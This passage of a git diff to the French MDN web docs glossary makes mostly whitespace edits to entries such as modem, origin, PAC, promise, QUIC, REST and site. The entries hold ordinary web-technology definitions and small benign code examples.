fournisse les éléments manquants . La nouvelle classe ou interface inclut alors à la fois les propriétés et les méthodes du mixin ainsi que celles qu'il définit lui-même. Toutes les méthodes et propriétés sont utilisées exactement de la même façon, qu'elles soient implémentées dans le mixin ou dans l'interface, ou qu'elle soit la classe qui implémente le mixin. L'avantage des mixins est qu'ils peuvent être utilisés pour simplifier la conception d'API dans lesquelles plusieurs interfaces doivent inclure les mêmes méthodes et propriétés. diff --git a/files/fr/glossary/modem/index.md b/files/fr/glossary/modem/index.md index cfd374764f..ecc905b96a 100644 --- a/files/fr/glossary/modem/index.md +++ b/files/fr/glossary/modem/index.md @@ -8,7 +8,7 @@ tags: translation_of: Glossary/Modem original_slug: Glossaire/Modem --- -Un modem ("**mod**ulateur-**dém**odulateur") est un appareil qui convertit les informations numériques en informations analogiques et vice-versa, pour l'envoi de données à travers les réseaux. Différents types sont utilisés pour différents réseaux : des modems DSL pour les fils téléphoniques, des modems WiFi pour les ondes radio de courte portée, des modems 3G pour les tours de données cellulaires, etc. +Un modem ("**mod**ulateur-**dém**odulateur") est un appareil qui convertit les informations numériques en informations analogiques et vice-versa, pour l'envoi de données à travers les réseaux. Différents types sont utilisés pour différents réseaux : des modems DSL pour les fils téléphoniques, des modems WiFi pour les ondes radio de courte portée, des modems 3G pour les tours de données cellulaires, etc. Les modems sont différents des {{Glossary("Router","routeurs")}}, mais de nombreuses entreprises vendent des modems combinés avec des routeurs. diff --git a/files/fr/glossary/mozilla_firefox/index.md b/files/fr/glossary/mozilla_firefox/index.md index b93bbfa5a5..b9485e6676 100644 --- a/files/fr/glossary/mozilla_firefox/index.md +++ b/files/fr/glossary/mozilla_firefox/index.md @@ -13,7 +13,7 @@ original_slug: Glossaire/Mozilla_Firefox --- Mozilla Firefox est un {{Glossary("navigateur")}} open source libre dont le développement est supervisé par Mozilla Corporation. Firefox fonctionne sur Windows, OS X, Linux, et Android. -Distribué pour la première fois en novembre 2004, Firefox est entièrement personnalisable grâce à des thèmes, plug-ins, et [modules](/fr/docs/Mozilla/Add-ons). Firefox utilise {{glossary("Gecko")}} pour réaliser l'affichage des pages web, et implémente aussi bien les normes Web actuelles que celles à venir. +Distribué pour la première fois en novembre 2004, Firefox est entièrement personnalisable grâce à des thèmes, plug-ins, et [modules](/fr/docs/Mozilla/Add-ons). Firefox utilise {{glossary("Gecko")}} pour réaliser l'affichage des pages web, et implémente aussi bien les normes Web actuelles que celles à venir. ## Pour en savoir plus diff --git a/files/fr/glossary/native/index.md b/files/fr/glossary/native/index.md index 893db5f58d..1820738dcf 100644 --- a/files/fr/glossary/native/index.md +++ b/files/fr/glossary/native/index.md @@ -11,7 +11,7 @@ Une application _native_ a été compilée pour s'exécuter sur la combinaison l Un exemple d'application Android native serait une application mobile écrite en Java avec la chaîne d'outils Android. -À l'inverse, une application web qui s'exécute dans un navigateur n'est pas native : elle est exécutée dans le navigateur web, qui se trouve au-dessus de l'environnement natif, et non dans l'environnement natif lui-même. +À l'inverse, une application web qui s'exécute dans un navigateur n'est pas native : elle est exécutée dans le navigateur web, qui se trouve au-dessus de l'environnement natif, et non dans l'environnement natif lui-même. ## Pour en savoir plus diff --git a/files/fr/glossary/nntp/index.md b/files/fr/glossary/nntp/index.md index 8599f16cc4..3f43696ef1 100644 --- a/files/fr/glossary/nntp/index.md +++ b/files/fr/glossary/nntp/index.md @@ -17,4 +17,4 @@ original_slug: Glossaire/NNTP ### Référence technique -- De l'IETF : [RFC 3977 à propos de NNTP](http://tools.ietf.org/html/rfc3977) (2006) +- De l'IETF : [RFC 3977 à propos de NNTP](http://tools.ietf.org/html/rfc3977) (2006) diff --git a/files/fr/glossary/node.js/index.md b/files/fr/glossary/node.js/index.md index c48e67a765..3b50754afb 100644 --- a/files/fr/glossary/node.js/index.md +++ b/files/fr/glossary/node.js/index.md @@ -14,7 +14,7 @@ Node.js est un environnement {{Glossary("JavaScript")}} multiplateforme qui perm ### Connaissances générales -- {{Interwiki("wikipedia", "Node.js")}} sur Wikipédia +- {{Interwiki("wikipedia", "Node.js")}} sur Wikipédia - [Site officiel Node.js](https://nodejs.org/) ### Informations techniques diff --git a/files/fr/glossary/node/dom/index.md b/files/fr/glossary/node/dom/index.md index 2b5aa2e3dd..a53a72d656 100644 --- a/files/fr/glossary/node/dom/index.md +++ b/files/fr/glossary/node/dom/index.md @@ -6,7 +6,7 @@ tags: - Programmation translation_of: Glossary/Node/DOM --- -Dans le contexte du {{Glossary("DOM")}}, un **nœud** est un point unique dans l'arbre des nœuds du DOM. Parmi les différentes choses qui sont des nœuds, on trouve le document lui-même, les éléments, le texte et les commentaires. +Dans le contexte du {{Glossary("DOM")}}, un **nœud** est un point unique dans l'arbre des nœuds du DOM. Parmi les différentes choses qui sont des nœuds, on trouve le document lui-même, les éléments, le texte et les commentaires. ## Pour en savoir plus diff --git a/files/fr/glossary/operator/index.md b/files/fr/glossary/operator/index.md index 74a5f9522b..6298436cca 100644 --- a/files/fr/glossary/operator/index.md +++ b/files/fr/glossary/operator/index.md @@ -7,7 +7,7 @@ tags: translation_of: Glossary/Operator original_slug: Glossaire/Operator --- -**Syntaxe** réservée constituée de caractères alphanumériques ou de ponctuation apportant des fonctionnalités intégrées. Par exemple, "+" représente l'opérateur d'addition de nombres et de concatenation de chaînes de caractères, alors que l'opération "non", "!", est la négation d'une expression — par exemple, une déclaration vraie returnera false. +**Syntaxe** réservée constituée de caractères alphanumériques ou de ponctuation apportant des fonctionnalités intégrées. Par exemple, "+" représente l'opérateur d'addition de nombres et de concatenation de chaînes de caractères, alors que l'opération "non", "!", est la négation d'une expression — par exemple, une déclaration vraie returnera false. ## Pour en savoir plus diff --git a/files/fr/glossary/origin/index.md b/files/fr/glossary/origin/index.md index 02de5d7db2..c11dc7b6a2 100644 --- a/files/fr/glossary/origin/index.md +++ b/files/fr/glossary/origin/index.md @@ -14,28 +14,28 @@ Quelques opérations sont limitées au contenu de même origine, et cette restri ## Exemples -Les URL qui suivent partagent la même origine car elles ont le même schéma (`http`), nom d'hôte (`example.com`), et que les chemins de fichiers différents n'impportent pas : +Les URL qui suivent partagent la même origine car elles ont le même schéma (`http`), nom d'hôte (`example.com`), et que les chemins de fichiers différents n'impportent pas : - `http://example.com/app1/index.html` - `http://example.com/app2/index.html` -Il s'agit ici de la même origine car le contenu HTTP est délivré, par défaut, via le port 80 : +Il s'agit ici de la même origine car le contenu HTTP est délivré, par défaut, via le port 80 : - `http://Example.com:80` - `http://example.com` -Ici, il ne s'agit pas de la même origine, car ce sont deux schémas différents : +Ici, il ne s'agit pas de la même origine, car ce sont deux schémas différents : - `http://example.com/app1` - `https://example.com/app2` -Ce ne sont pas les mêmes origines pour les exemples qui suivent, car le nom d'hôte est différent : +Ce ne sont pas les mêmes origines pour les exemples qui suivent, car le nom d'hôte est différent : - `http://example.com` - `http://www.example.com` - `http://monapp.example.com` -Les deux exemples qui suivent ne sont pas de la même origine, car les ports sont différents : +Les deux exemples qui suivent ne sont pas de la même origine, car les ports sont différents : - `http://example.com` - `http://example.com:8080` diff --git a/files/fr/glossary/owasp/index.md b/files/fr/glossary/owasp/index.md index 97e8d44b89..3ee719080b 100644 --- a/files/fr/glossary/owasp/index.md +++ b/files/fr/glossary/owasp/index.md @@ -7,7 +7,7 @@ tags: translation_of: Glossary/OWASP original_slug: Glossaire/OWASP --- -**OWASP** (Open Web Application Security Project) est une organisation à but non lucratif et un réseau mondial qui travaille sur la sécurité des logiciels libres, en particulier sur le Web. +**OWASP** (Open Web Application Security Project) est une organisation à but non lucratif et un réseau mondial qui travaille sur la sécurité des logiciels libres, en particulier sur le Web. ## Pour approfondir diff --git a/files/fr/glossary/pac/index.md b/files/fr/glossary/pac/index.md index 2684105a63..b87501eb19 100644 --- a/files/fr/glossary/pac/index.md +++ b/files/fr/glossary/pac/index.md @@ -7,7 +7,7 @@ tags: translation_of: Glossary/PAC original_slug: Glossaire/PAC --- -Un fichier Proxy Auto-Configuration (PAC) est un fichier qui contient une fonction `FindProxyForURL()` laquelle est utilisée par le navigateur pour déterminer si les requêtes (y compris HTTP, HTTPS et FTP) doivent être envoyées directement à la destination, ou si elles doivent être transmises via un serveur proxy Web. +Un fichier Proxy Auto-Configuration (PAC) est un fichier qui contient une fonction `FindProxyForURL()` laquelle est utilisée par le navigateur pour déterminer si les requêtes (y compris HTTP, HTTPS et FTP) doivent être envoyées directement à la destination, ou si elles doivent être transmises via un serveur proxy Web. ```js function FindProxyForURL(url, host) { @@ -17,7 +17,7 @@ function FindProxyForURL(url, host) { ret = FindProxyForURL(url, host) ``` -Voir [fichier Proxy Auto-Configuration (PAC)](</fr/docs/Web/HTTP/Proxy_servers_and_tunneling/Proxy_Auto-Configuration_(PAC)_file>) pour plus de détails sur la façon de les utiliser et d'en créer de nouveaux. +Voir [fichier Proxy Auto-Configuration (PAC)](</fr/docs/Web/HTTP/Proxy_servers_and_tunneling/Proxy_Auto-Configuration_(PAC)_file>) pour plus de détails sur la façon de les utiliser et d'en créer de nouveaux. ## Pour approfondir diff --git a/files/fr/glossary/plaintext/index.md b/files/fr/glossary/plaintext/index.md index 55bfef9508..1feb3f6822 100644 --- a/files/fr/glossary/plaintext/index.md +++ b/files/fr/glossary/plaintext/index.md @@ -8,6 +8,6 @@ tags: translation_of: Glossary/Plaintext original_slug: Glossaire/Texte_brut --- -Un texte brut désigne soit une information qui a été utilisée comme entrée pour un {{Glossary("algorithme")}} de {{Glossary("chiffrement")}} , soit un {{Glossary("cryptogramme")}} qui a été déchiffré. +Un texte brut désigne soit une information qui a été utilisée comme entrée pour un {{Glossary("algorithme")}} de {{Glossary("chiffrement")}} , soit un {{Glossary("cryptogramme")}} qui a été déchiffré. Ce terme est souvent utilisé comme synonyme de _texte clair_, qui fait plus vaguement référence à toute sorte d'information, comme un document texte, une image, etc., qui n'a pas été chiffrée et qui peut être lue par un humain ou un ordinateur sans traitement supplémentaire. diff --git a/files/fr/glossary/plugin/index.md b/files/fr/glossary/plugin/index.md index 741adbc5a4..b1c739d2e7 100644 --- a/files/fr/glossary/plugin/index.md +++ b/files/fr/glossary/plugin/index.md @@ -23,7 +23,7 @@ Cette section est une référence au définitions utilisées par l'API Plug-in. | **NPERR_OUT_OF_MEMORY_ERROR** | 5 | L'allocation de mémoire a échoué | | **NPERR_INVALID_PLUGIN_ERROR** | 6 | Plugin manquant ou invalide | | **NPERR_INVALID_PLUGIN_DIR_ERROR** | 7 | Répertoire du plugin manquant ou invalide | -| **NPERR_INCOMPATIBLE_VERSION_ERROR** | 8 | les versions du plugin et de Communicator ne correspondent pas | +| **NPERR_INCOMPATIBLE_VERSION_ERROR** | 8 | les versions du plugin et de Communicator ne correspondent pas | | **NPERR_INVALID_PARAM** | 9 | Paramètre manquant ou invalide | | **NPERR_INVALID_URL** | 10 | URL manquante ou invalide | | **NPERR_FILE_NOT_FOUND** | 11 | Fichier manquant ou invalide | diff --git a/files/fr/glossary/primitive/index.md b/files/fr/glossary/primitive/index.md index 03127b02ad..6571b77845 100644 --- a/files/fr/glossary/primitive/index.md +++ b/files/fr/glossary/primitive/index.md @@ -21,7 +21,7 @@ Excepté dans les cas de `null` ou `undefined`, pour chaque valeur primitive il - {{jsxref("String")}} pour la primitive `string` ; - {{jsxref("Number")}} pour la primitive `number` ; - {{jsxref("Boolean")}} pour la primitive `boolean` ; -- {{jsxref("Symbol")}} pour la primitive `symbol` +- {{jsxref("Symbol")}} pour la primitive `symbol` La méthode [`valueOf()`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/valueOf) de ces objets retourne la valeur primitive encapsulée correspondante. diff --git a/files/fr/glossary/promise/index.md b/files/fr/glossary/promise/index.md index c163ceed4e..646be86498 100644 --- a/files/fr/glossary/promise/index.md +++ b/files/fr/glossary/promise/index.md @@ -9,9 +9,9 @@ tags: translation_of: Glossary/Promise original_slug: Glossaire/Promesse --- -Une **{{jsxref("Promise")}}** est un {{Glossary("Objet")}} retourné par une {{Glossary("Fonction")}} n'ayant pas encore terminé son travail. La promesse représente littéralement une promesse faite par la fonction qui retournera éventuellement un résultat à travers l'objet promesse. +Une **{{jsxref("Promise")}}** est un {{Glossary("Objet")}} retourné par une {{Glossary("Fonction")}} n'ayant pas encore terminé son travail. La promesse représente littéralement une promesse faite par la fonction qui retournera éventuellement un résultat à travers l'objet promesse. -Quand la fonction appellée a fini son travail {{Glossary("asynchronous", "asynchrone")}} une fonction de l'objet promise appellée gestionnaire de résolution (ou d'accomplissement, ou d'achèvement) est appellé pour permettre à l'appelant original de savoir que la tâche est complétée. +Quand la fonction appellée a fini son travail {{Glossary("asynchronous", "asynchrone")}} une fonction de l'objet promise appellée gestionnaire de résolution (ou d'accomplissement, ou d'achèvement) est appellé pour permettre à l'appelant original de savoir que la tâche est complétée. ## En apprendre plus @@ -21,7 +21,7 @@ Pour en apprendre plus, suivez ces liens. - {{interwiki("wikipedia", "Futures_(informatique)")}} -### Référence technique +### Référence technique -- {{jsxref("Promise")}} dans la [Référence Javascript](/fr/docs/Web/JavaScript/Reference). +- {{jsxref("Promise")}} dans la [Référence Javascript](/fr/docs/Web/JavaScript/Reference). - [Utiliser les promises](/fr/docs/Web/JavaScript/Guide/Using_promises) diff --git a/files/fr/glossary/protocol/index.md b/files/fr/glossary/protocol/index.md index 8735960e3c..75865e31cd 100644 --- a/files/fr/glossary/protocol/index.md +++ b/files/fr/glossary/protocol/index.md @@ -8,7 +8,7 @@ tags: translation_of: Glossary/Protocol original_slug: Glossaire/Protocol --- -Un **protocole** est un système de règles qui définit la manière dont des données sont échangées au sein d'un ordinateur ou entre plusieurs ordinateurs. La communication entre appareils impose à ceux-ci de s'accorder sur le format des données échangées. L'ensemble des règles qui définissent un format est appelé un protocole. +Un **protocole** est un système de règles qui définit la manière dont des données sont échangées au sein d'un ordinateur ou entre plusieurs ordinateurs. La communication entre appareils impose à ceux-ci de s'accorder sur le format des données échangées. L'ensemble des règles qui définissent un format est appelé un protocole. ## Pour en savoir plus diff --git a/files/fr/glossary/quality_values/index.md b/files/fr/glossary/quality_values/index.md index aba3925520..bc3afb86d5 100644 --- a/files/fr/glossary/quality_values/index.md +++ b/files/fr/glossary/quality_values/index.md @@ -7,7 +7,7 @@ tags: translation_of: Glossary/Quality_values original_slug: Glossaire/Quality_values --- -**_Quality values_** (_valeurs de qualité_), ou _q-values_ et _q-factors_, sont utilisés pour décrire l'ordre de priorité des valeurs séparées par une virgule dans une liste. C'est une syntaxe spéciale autorisée dans quelques [en-têtes HTTP](/fr/docs/HTTP/Headers) et en HTML. L'importance d'une valeur est marquée par le suffixe `';q='` immédiatement suivi par une valeur comprise entre `0` et `1` inclus, avec jusqu'à trois décimales, la valeur la plus élevée indiquant la priorité la plus haute. Quand le paramètre n'est pas déclaré, la valeur par défaut est `1`. +**_Quality values_** (_valeurs de qualité_), ou _q-values_ et _q-factors_, sont utilisés pour décrire l'ordre de priorité des valeurs séparées par une virgule dans une liste. C'est une syntaxe spéciale autorisée dans quelques [en-têtes HTTP](/fr/docs/HTTP/Headers) et en HTML. L'importance d'une valeur est marquée par le suffixe `';q='` immédiatement suivi par une valeur comprise entre `0` et `1` inclus, avec jusqu'à trois décimales, la valeur la plus élevée indiquant la priorité la plus haute. Quand le paramètre n'est pas déclaré, la valeur par défaut est `1`. ## Exemples diff --git a/files/fr/glossary/quic/index.md b/files/fr/glossary/quic/index.md index 39a84ac196..20354e6ea0 100644 --- a/files/fr/glossary/quic/index.md +++ b/files/fr/glossary/quic/index.md @@ -10,7 +10,7 @@ tags: translation_of: Glossary/QUIC original_slug: Glossaire/QUIC --- -**Quick UDP Internet Connection**, ou **QUIC**, est un protocole de transport multiplexé expérimental implémenté sur UDP. Il a été développé par Google comme un moyen d'expérimenter des moyens d'améliorer TCP et la livraison d'applications Web. Comme TCP est intégré au noyau de nombreux systèmes d'exploitation, être capable d'expérimenter des changements, de les tester et d'implémenter des modifications est un processus extrêmement lent. La création de QUIC permet aux développeurs de mener des expériences et d'essayer de nouvelles choses plus rapidement. +**Quick UDP Internet Connection**, ou **QUIC**, est un protocole de transport multiplexé expérimental implémenté sur UDP. Il a été développé par Google comme un moyen d'expérimenter des moyens d'améliorer TCP et la livraison d'applications Web. Comme TCP est intégré au noyau de nombreux systèmes d'exploitation, être capable d'expérimenter des changements, de les tester et d'implémenter des modifications est un processus extrêmement lent. La création de QUIC permet aux développeurs de mener des expériences et d'essayer de nouvelles choses plus rapidement. QUIC a été conçu pour prendre en charge la sémantique de HTTP / 2. Il fournit le multiplexage, le contrôle de flux, la sécurité et le contrôle de la congestion. diff --git a/files/fr/glossary/real_user_monitoring/index.md b/files/fr/glossary/real_user_monitoring/index.md index 3540709116..1341d49105 100644 --- a/files/fr/glossary/real_user_monitoring/index.md +++ b/files/fr/glossary/real_user_monitoring/index.md @@ -9,7 +9,7 @@ tags: translation_of: Glossary/Real_User_Monitoring original_slug: Glossaire/Real_User_Monitoring --- -Le **Real User Monitoring** ou RUM mesure les performances d'une page à partir des machines des utilisateurs réels. Généralement, un script tiers injecte un script sur chaque page pour mesurer et rapporter les données de chargement de page pour chaque demande effectuée. Cette technique surveille les interactions réelles des utilisateurs d'une apllication. Dans RUM, le script tiers collecte des mesures de performances à partir des navigateurs des utilisateurs réels. RUM permet d'identifier comment une application est utilisée, y compris la répartition géographique des utilisateurs et l'impact de cette distribution sur l'expérience de l'utilisateur final. +Le **Real User Monitoring** ou RUM mesure les performances d'une page à partir des machines des utilisateurs réels. Généralement, un script tiers injecte un script sur chaque page pour mesurer et rapporter les données de chargement de page pour chaque demande effectuée. Cette technique surveille les interactions réelles des utilisateurs d'une apllication. Dans RUM, le script tiers collecte des mesures de performances à partir des navigateurs des utilisateurs réels. RUM permet d'identifier comment une application est utilisée, y compris la répartition géographique des utilisateurs et l'impact de cette distribution sur l'expérience de l'utilisateur final. ## Voir aussi diff --git a/files/fr/glossary/regular_expression/index.md b/files/fr/glossary/regular_expression/index.md index 4196e8ada4..b2aca335aa 100644 --- a/files/fr/glossary/regular_expression/index.md +++ b/files/fr/glossary/regular_expression/index.md @@ -8,9 +8,9 @@ tags: translation_of: Glossary/Regular_expression original_slug: Glossaire/Regular_expression --- -Les **expressions régulières** (ou *regex* en anglais) sont des règles qui gouvernent quelles séquences de caractères ressortent dans une recherche. +Les **expressions régulières** (ou *regex* en anglais) sont des règles qui gouvernent quelles séquences de caractères ressortent dans une recherche. -Les expressions régulières (ou expressions rationnelles) sont implémentées dans de nombreux langages. La plus connue est l'implémentation de Perl, qui a donné naissance à son propre éco-système d'implémentations appelé PCRE (_Perl Compatible Regular Expression_). Sur internet, {{glossary("JavaScript")}} fournit une autre implémentation _regex_ à travers l'objet {{jsxref("RegExp")}}. +Les expressions régulières (ou expressions rationnelles) sont implémentées dans de nombreux langages. La plus connue est l'implémentation de Perl, qui a donné naissance à son propre éco-système d'implémentations appelé PCRE (_Perl Compatible Regular Expression_). Sur internet, {{glossary("JavaScript")}} fournit une autre implémentation _regex_ à travers l'objet {{jsxref("RegExp")}}. ## En savoir plus diff --git a/files/fr/glossary/request_header/index.md b/files/fr/glossary/request_header/index.md index f2387f224c..0d310d8bf2 100644 --- a/files/fr/glossary/request_header/index.md +++ b/files/fr/glossary/request_header/index.md @@ -13,7 +13,7 @@ Un **en-tête de requête** est un {{glossary("header","en-tête HTTP")}} qui pe Tous les en-têtes apparaissant dans une requête ne sont pas des _en-têtes de requête_. Par exemple, l'en-tête {{HTTPHeader("Content-Length")}} apparaissant dans une requête {{HTTPMethod("POST")}} est en fait un {{glossary("entity header","en-tête d'entité")}} faisant référence à la taille du corps du message de requête. Cependant, ces en-têtes d'entité sont souvent appelés en-têtes de requête dans un tel contexte. -De plus, [CORS](/fr/docs/Glossary/CORS) définit un sous-ensemble d'en-têtes de requête comme {{glossary('simple header','en-têtes simples')}}, en-têtes de requêtes qui sont toujours considérés comme autorisés et non listés explicitement dans les réponses des requêtes de {{glossary("preflight request", "contrôle")}}. +De plus, [CORS](/fr/docs/Glossary/CORS) définit un sous-ensemble d'en-têtes de requête comme {{glossary('simple header','en-têtes simples')}}, en-têtes de requêtes qui sont toujours considérés comme autorisés et non listés explicitement dans les réponses des requêtes de {{glossary("preflight request", "contrôle")}}. Quelques en-têtes de requêtes après une requête {{HTTPMethod("GET")}} : diff --git a/files/fr/glossary/rest/index.md b/files/fr/glossary/rest/index.md index 4dd7f9e6fa..7d2bf1fd10 100644 --- a/files/fr/glossary/rest/index.md +++ b/files/fr/glossary/rest/index.md @@ -11,7 +11,7 @@ original_slug: Glossaire/REST --- Representational State Transfer (**REST**) désigne un groupe de contraintes concernant l'architecture logicielle destiné à apporter aux systèmes efficacité, fiabilité et scalabilité. Un système est appelé "RESTful" lorsqu'il adhère à ces contraintes. -L'idée de base de REST est qu'une ressource, par exemple un document, est transférée avec son état et ses relations (hypertexte) via des opérations et des formats standardisés et bien définis. Souvent, les API ou les services s'appellent RESTful lorsqu'ils agissent sur n'importe quel type de document, par opposition à des actions déclenchées ailleurs. +L'idée de base de REST est qu'une ressource, par exemple un document, est transférée avec son état et ses relations (hypertexte) via des opérations et des formats standardisés et bien définis. Souvent, les API ou les services s'appellent RESTful lorsqu'ils agissent sur n'importe quel type de document, par opposition à des actions déclenchées ailleurs. Parce que HTTP, le protocole derrière le World Wide Web (WWW), transfère des documents et des liens hypertextes et est également une norme, les API HTTP simples sont parfois familièrement appelés API RESTful, RESTful Services ou simplement REST Services même s'ils n'adhèrent pas nécessairement à toutes les contraintes REST. Les débutants peuvent simplement supposer qu'un API REST signifie un service HTTP qui peut être appelé à l'aide de bibliothèques et d'outils web standards. diff --git a/files/fr/glossary/rgb/index.md b/files/fr/glossary/rgb/index.md index 5be213a5e8..2e5c72a2a0 100644 --- a/files/fr/glossary/rgb/index.md +++ b/files/fr/glossary/rgb/index.md @@ -11,7 +11,7 @@ original_slug: Glossaire/RGB --- Rouge Vert Bleu (RVB) est un modèle de couleurs qui représente les couleurs comme étant une combinaison de trois composantes sous-jacentes (ou canaux), à savoir, rouge, verte et bleue. Chaque couleur est décrite par une suite de trois valeurs (en général comprises entre 0,0 et 1,0, ou entre 0 et 255) qui correspondent aux différentes intensités de rouge, vert et bleu contribuant à déterminer la couleur finale. -Il existe de nombreuses façons de décrire les composantes RVB d'une couleur. En {{Glossary("CSS")}}, elles peuvent être représentées sous la forme d'un unique entier de 24 bits en notation hexadécimale (par exemple, ` #``add `8e6 pour du bleu clair), ou dans une notation fonctionnelle comme trois entiers 8 bits distincts (par exemple, rgb(46, 139, 87) est un vert océan). En {{Glossary("OpenGL")}}, {{Glossary("WebGL")}} et {{Glossary("GLSL")}}, les composantes rouge-vert-bleu sont des fractions (nombres à virgule flottante compris entre 0,0 et 1,0), bien qu'elles soient généralement stockées concrètement en mémoire vidéo comme des entiers 8 bits. Graphiquement, une couleur peut être représentée par un point dans un cube ou sur une grille tridimensionnelle, où chaque dimension (ou axe) correspond à un canal différent. +Il existe de nombreuses façons de décrire les composantes RVB d'une couleur. En {{Glossary("CSS")}}, elles peuvent être représentées sous la forme d'un unique entier de 24 bits en notation hexadécimale (par exemple, ` #``add `8e6 pour du bleu clair), ou dans une notation fonctionnelle comme trois entiers 8 bits distincts (par exemple, rgb(46, 139, 87) est un vert océan). En {{Glossary("OpenGL")}}, {{Glossary("WebGL")}} et {{Glossary("GLSL")}}, les composantes rouge-vert-bleu sont des fractions (nombres à virgule flottante compris entre 0,0 et 1,0), bien qu'elles soient généralement stockées concrètement en mémoire vidéo comme des entiers 8 bits. Graphiquement, une couleur peut être représentée par un point dans un cube ou sur une grille tridimensionnelle, où chaque dimension (ou axe) correspond à un canal différent. ## Pour approfondir diff --git a/files/fr/glossary/same-origin_policy/index.md b/files/fr/glossary/same-origin_policy/index.md index 0677a73fdd..78125b7438 100644 --- a/files/fr/glossary/same-origin_policy/index.md +++ b/files/fr/glossary/same-origin_policy/index.md @@ -10,7 +10,7 @@ Voir [Same origin policy](/fr/docs/Web/Security/Same_origin_policy_for_JavaScrip ## Voir aussi -- [Glossaire MDN](/fr/docs/Glossary) : +- [Glossaire MDN](/fr/docs/Glossary) : - {{Glossary("CORS")}} - {{Glossary("origine")}} diff --git a/files/fr/glossary/sgml/index.md b/files/fr/glossary/sgml/index.md index ecfe4bc921..d6d375deab 100644 --- a/files/fr/glossary/sgml/index.md +++ b/files/fr/glossary/sgml/index.md @@ -10,9 +10,9 @@ original_slug: SGML --- **SGML** (_Standard Generalized Markup Language_) est une spécification {{glossary("ISO")}} pour définir des langages de balisage générique pour des documents. -Sur le web, {{glossary("HTML")}} 4, {{glossary("XHTML")}} et {{glossary("XML")}} sont des exemples populaires de langages basés sur SGML. On peut remarquer que depuis sa cinquième édition, HTML n'est désormais plus basé sur SGML et possède ses propres règles d'analyse. +Sur le web, {{glossary("HTML")}} 4, {{glossary("XHTML")}} et {{glossary("XML")}} sont des exemples populaires de langages basés sur SGML. On peut remarquer que depuis sa cinquième édition, HTML n'est désormais plus basé sur SGML et possède ses propres règles d'analyse. ## En savoir plus - {{Interwiki("wikipedia", "SGML")}} sur Wikipedia -- [Introduction au SGML](http://isgmlug.org/) (en anglais) +- [Introduction au SGML](http://isgmlug.org/) (en anglais) diff --git a/files/fr/glossary/signature/function/index.md b/files/fr/glossary/signature/function/index.md index bcb22d18ef..43942a7511 100644 --- a/files/fr/glossary/signature/function/index.md +++ b/files/fr/glossary/signature/function/index.md @@ -22,7 +22,7 @@ Une signature peut comporter : ### Signatures en JavaScript -{{Glossary("JavaScript")}} est un langage à *typage faible et* *dynamique*. Cela signifie que vous n'avez pas à déclarer le type d'une variable à l'avance. Il sera déterminé automatiquement pendant le traitement du programme. Une signature en JavaScript peut vous apporter certaines informations sur la méthode : +{{Glossary("JavaScript")}} est un langage à *typage faible et* *dynamique*. Cela signifie que vous n'avez pas à déclarer le type d'une variable à l'avance. Il sera déterminé automatiquement pendant le traitement du programme. Une signature en JavaScript peut vous apporter certaines informations sur la méthode : ```js MonObjet.prototype.maFonction(valeur) diff --git a/files/fr/glossary/site/index.md b/files/fr/glossary/site/index.md index 553abecdc4..4df4753260 100644 --- a/files/fr/glossary/site/index.md +++ b/files/fr/glossary/site/index.md @@ -14,17 +14,17 @@ Le concept de _site_ est utilisé dans les [cookies SameSite](/fr/docs/Web/HTTP/ ## Exemples -Pour les deux URL qui suivent, on a le même site car le domaine enregistrable est le même _mozilla.org_ (les noms d'hôte et chemins de fichier différents n'ont pas d'importance) : +Pour les deux URL qui suivent, on a le même site car le domaine enregistrable est le même _mozilla.org_ (les noms d'hôte et chemins de fichier différents n'ont pas d'importance) : - `https://developer.mozilla.org/fr/docs/` - `https://support.mozilla.org/fr/` -Là encore, ce sont les mêmes sites, car le schéma et le port ne sont pas pertinents : +Là encore, ce sont les mêmes sites, car le schéma et le port ne sont pas pertinents : - `http://example.com:8080` - `https://example.com` -Ici, ce ne sont pas les mêmes sites car les domaines enregistrables des deux URL sont différents : +Ici, ce ne sont pas les mêmes sites car les domaines enregistrables des deux URL sont différents : - `https://developer.mozilla.org/fr/docs/` - `https://example.com` diff --git a/files/fr/glossary/soap/index.md b/files/fr/glossary/soap/index.md index 8ff41946bc..05bda1d837 100644 --- a/files/fr/glossary/soap/index.md +++ b/files/fr/glossary/soap/index.md @@ -9,7 +9,7 @@ tags: translation_of: Glossary/SOAP original_slug: Glossaire/SOAP --- -**SOAP** (Simple Object Access Protocol) est un {{glossary("Protocol","protocole")}} de transmission de données au format {{glossary('XML')}}. {{glossary('Mozilla Firefox','Firefox')}} a supprimé le support de SOAP en 2008. +**SOAP** (Simple Object Access Protocol) est un {{glossary("Protocol","protocole")}} de transmission de données au format {{glossary('XML')}}. {{glossary('Mozilla Firefox','Firefox')}} a supprimé le support de SOAP en 2008. ## Pour approfondir diff --git a/files/fr/glossary/specification/index.md b/files/fr/glossary/specification/index.md index 96223b3270..93a933b4ed 100644 --- a/files/fr/glossary/specification/index.md +++ b/files/fr/glossary/specification/index.md @@ -7,7 +7,7 @@ tags: translation_of: Glossary/Specification original_slug: Glossaire/Specification --- -Une **spécification** est un document qui décrit en détail les fonctionnalités ou attributs que doit avoir un produit avant livraison. Dans le contexte de la description du web, le terme «spécification» (souvent abrégé simplement «spec») signifie généralement un document décrivant un langage, une technologie ou un {{Glossary("API")}} qui constituent l'ensemble complet des technologies web ouvertes. +Une **spécification** est un document qui décrit en détail les fonctionnalités ou attributs que doit avoir un produit avant livraison. Dans le contexte de la description du web, le terme «spécification» (souvent abrégé simplement «spec») signifie généralement un document décrivant un langage, une technologie ou un {{Glossary("API")}} qui constituent l'ensemble complet des technologies web ouvertes. ## Pour en savoir plus diff --git a/files/fr/glossary/speculative_parsing/index.md b/files/fr/glossary/speculative_parsing/index.md index 3b8a71abf6..643d032324 100644 --- a/files/fr/glossary/speculative_parsing/index.md +++ b/files/fr/glossary/speculative_parsing/index.md @@ -29,5 +29,5 @@ L'analyse spéculative du constructeur d'arborescence échoue quand `document.wr - n'écrivez pas de balisage infini. `<script>document.write("<div></div");</script>` est mauvais. - ne terminez pas votre écriture avec un retour chariot . `<script>document.write("Hello World!\r");</script>` est mauvais. `<script>document.write("Hello World!\n");</script>` est valide. - notez que l'écriture de balises équilibrées peut entraîner la déduction d'autres balises de telle manière que l'écriture est finalement déséquilibrée. Par exemple, `<script>document.write("<div></div>");</script>` à l'intérieur de l'élément d'en-tête sera interprété comme `<script>document.write("</head><body><div></div>");</script>` qui est déséquilibré. -- ne pas formater une partie de tableau. `<table><script>document.write("<tr><td>Hello World!</td></tr>");</script></table>` est mauvais. Par contre, ` <script>document.write("``<table>``<tr><td>Hello World!</td></tr>``</table>``");</script> ` est valide. +- ne pas formater une partie de 